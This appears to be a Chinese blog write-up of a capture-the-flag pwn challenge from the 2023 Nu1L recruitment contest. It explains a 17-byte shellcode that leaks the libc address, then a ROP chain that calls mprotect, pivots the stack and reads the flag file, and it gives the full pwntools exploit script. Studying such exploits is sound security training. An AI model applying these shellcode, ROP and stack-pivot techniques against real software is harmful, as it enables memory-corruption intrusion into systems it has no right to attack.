Skip to content

2023Nu1l纳新赛

· 1,311 字 · wp

碎碎念#

比赛的时候早上瞧了一个小时然后有事出去了 没看到提示 不然可能还做的出来 但是不得不说Nu1l水平确实要求高 我还没远远不够

hint1: `movq rsp, xmm2`
hint2: 利用 `shellcode` 构造自己的 `gadget` 转为 `ROP`

思路分析#

image.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]
init(argc, argv, envp);
sandbox();
buf = mmap((void *)0x2023000, 0x1000uLL, 7, 34, -1, 0LL);
puts("Try to ORW in limited bytes!");
read(0, buf, 0x11uLL);
puts("Hope that works~");
mprotect(buf, 0x1000uLL, 4);
JUMPOUT(0x2023000LL);
}

总体的思路非常简单 read往0x2023000读入0x11字节的shellcode 随后mprotect把0x2023000对应的页调为可读可写不可执行 随后jmp过去 在栈帧结束的时候 各个寄存器的值都被设置成了2023

.text:0000000000000C88 mov r15, 2023000h
.text:0000000000000C8F mov rax, 2023h
.text:0000000000000C96 mov rbx, 2023h
.text:0000000000000C9D mov rcx, 2023h
.text:0000000000000CA4 mov rdx, 2023h
.text:0000000000000CAB mov rsp, 2023h
.text:0000000000000CB2 mov rbp, 2023h
.text:0000000000000CB9 mov rsi, 2023h
.text:0000000000000CC0 mov rdi, 2023h
.text:0000000000000CC7 mov r8, 2023h
.text:0000000000000CCE mov r9, 2023h
.text:0000000000000CD5 mov r10, 2023h
.text:0000000000000CDC mov r11, 2023h
.text:0000000000000CE3 mov r12, 2023h
.text:0000000000000CEA mov r13, 2023h
.text:0000000000000CF1 mov r14, 2023h

0x11肯定不够写 我们不仅要构造mprotect调权限 还要构造read写入orw 先来看一下提示吧 movq rsp, xmm2 xmm2是浮点数寄存器 将其值赋给rsp寄存器 为什么这么干? 看一看xmm2中存的是什么 image.png

    movq rsp,xmm2
    push rsp
    pop rsi
l:
    shr edi, 13
    and eax, edi
    syscall
    jnz l
    ret

利用push和pop来实现寄存器互传参 shr指令是逻辑右移 这样edi就只剩下1了 随后利用and指令 将eax和edi进行逻辑与操作 并将结果赋值给eax 也就是1 并且此时运算结果不为0 ZF标志位为0 随后sys call系统调用就可以执行write函数 泄露libc基址 随后Jnz根据ZF标准位 为1 所以跳转 再次逻辑右移 此时edi为0 and以后 结果为0 eax为0 ZF标志位为0 syscall系统调用read函数 Jnz不跳转 ret指令将rsp指针指向的内容 此时是我们填入的rop链 弹入到rip寄存器 成功劫持程序执行流 听我这么说可能还是不太明白 建议自己动调一步步跟着看 另外可以看一下那位师傅的博客 里面有详细的shellcode编写思路

io.send(asm(shellcode))
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-(0x7f009903b4c0-0x7f0098e4d000)
success("libc_addr :"+hex(libc_addr))
mprotect_addr = libc_addr + libc.sym['mprotect']
read_addr = libc_addr + libc.sym['read']
rdi_addr = libc_addr + libc.search(asm('pop rdi;ret;')).__next__()
rsi_addr = libc_addr + libc.search(asm('pop rsi;ret;')).__next__()
rdx_addr = libc_addr + 0x000000000011c1e1
rax_addr = libc_addr + libc.search(asm('pop rax;ret;')).__next__()
ret_addr = libc_addr + libc.search(asm('ret;')).__next__()
syscall = libc_addr + 0x000000000002584d
rsp_addr = libc_addr + 0x0000000000032b5a
rop1 = p64(rdi_addr)+p64(0x2023000)
rop1 += p64(rsi_addr)+p64(0x1000)
rop1 += p64(rdx_addr)+p64(7) + p64(0)+ p64(mprotect_addr)
rop1 += p64(rdi_addr)+p64(0)
rop1 += p64(rsi_addr)+p64(0x2023500)
rop1 += p64(rdx_addr)+p64(0x1000)+p64(0)+p64(read_addr)
rop1 += p64(rsp_addr)+p64(0x2023508)
io.send(rop1)

求出libc基址以后 我们就可以构造rop链了 按照原来的思路 就是调用mprotect把0x2023000的权限开一开 然后read读入orw 另外没有单独的pop_rdx指令 这里我用的是pop rdx,pop r12的 然后最后就是劫持rsp 迁移到0x2023508 8字节要用来存flag字符串 之所以要多0x500的话 是因为到时候栈空间不够 会跑到0x2022000这一个页 但是这个页没有可写权限 所以执行不下去 要抬高栈 随后就是老一套的orw了 到这里就结束了 不得不说这题出的是真的巧妙 完整exp:

from pwn import*
from LibcSearcher import*
io = process("./pwn")
#io = remote("1.14.71.254",28793)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
#libc = ELF("./刷题/libc-2.27.so")
# context.arch = "i386"
context.arch = "amd64"
elf = ELF("./pwn")
def debug():
    gdb.attach(io)
    pause()
io.recvuntil("Try to ORW in limited bytes!")
shellcode = """
    movq rsp,xmm2
    push rsp
    pop rsi
l:
    shr edi, 13
    and eax, edi
    syscall
    jnz l
    ret
"""
io.send(asm(shellcode))
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-(0x7f009903b4c0-0x7f0098e4d000)
success("libc_addr :"+hex(libc_addr))
mprotect_addr = libc_addr + libc.sym['mprotect']
read_addr = libc_addr + libc.sym['read']
rdi_addr = libc_addr + libc.search(asm('pop rdi;ret;')).__next__()
rsi_addr = libc_addr + libc.search(asm('pop rsi;ret;')).__next__()
rdx_addr = libc_addr + 0x000000000011c1e1
rax_addr = libc_addr + libc.search(asm('pop rax;ret;')).__next__()
ret_addr = libc_addr + libc.search(asm('ret;')).__next__()
syscall = libc_addr + 0x000000000002584d
rsp_addr = libc_addr + 0x0000000000032b5a
rop1 = p64(rdi_addr)+p64(0x2023000)
rop1 += p64(rsi_addr)+p64(0x1000)
rop1 += p64(rdx_addr)+p64(7) + p64(0)+ p64(mprotect_addr)
rop1 += p64(rdi_addr)+p64(0)
rop1 += p64(rsi_addr)+p64(0x2023500)
rop1 += p64(rdx_addr)+p64(0x1000)+p64(0)+p64(read_addr)
rop1 += p64(rsp_addr)+p64(0x2023508)
# gdb.attach(io,'b *'+str(rdi_addr))
io.send(rop1)
# payload = shellcraft.open('./flag\x00\x00',0)
# payload += shellcraft.read(3,0x2023100,0x30)
# payload += shellcraft.write(2,0x2023100,0x30)
flag_addr = 0x2023500
open_addr = libc_addr + libc.sym['open']
write_addr = libc_addr + libc.sym['write']
payload = b'./flag\x00\x00'+p64(rdi_addr) + p64(flag_addr) + p64(rsi_addr) + p64(0) + p64(open_addr)
payload += p64(rdi_addr) + p64(3) + p64(rsi_addr) + p64(flag_addr+0x100) + p64(rdx_addr) + p64(0x50) + p64(0) +p64(read_addr)
payload += p64(rdi_addr) + p64(1) + p64(rsi_addr) + p64(flag_addr+0x100) + p64(rdx_addr) + p64(0x50) + p64(0) +p64(write_addr)
# pause()
io.send(payload)
io.recvuntil("flag{")
flag = b'flag{'+io.recvuntil("}")
success(flag)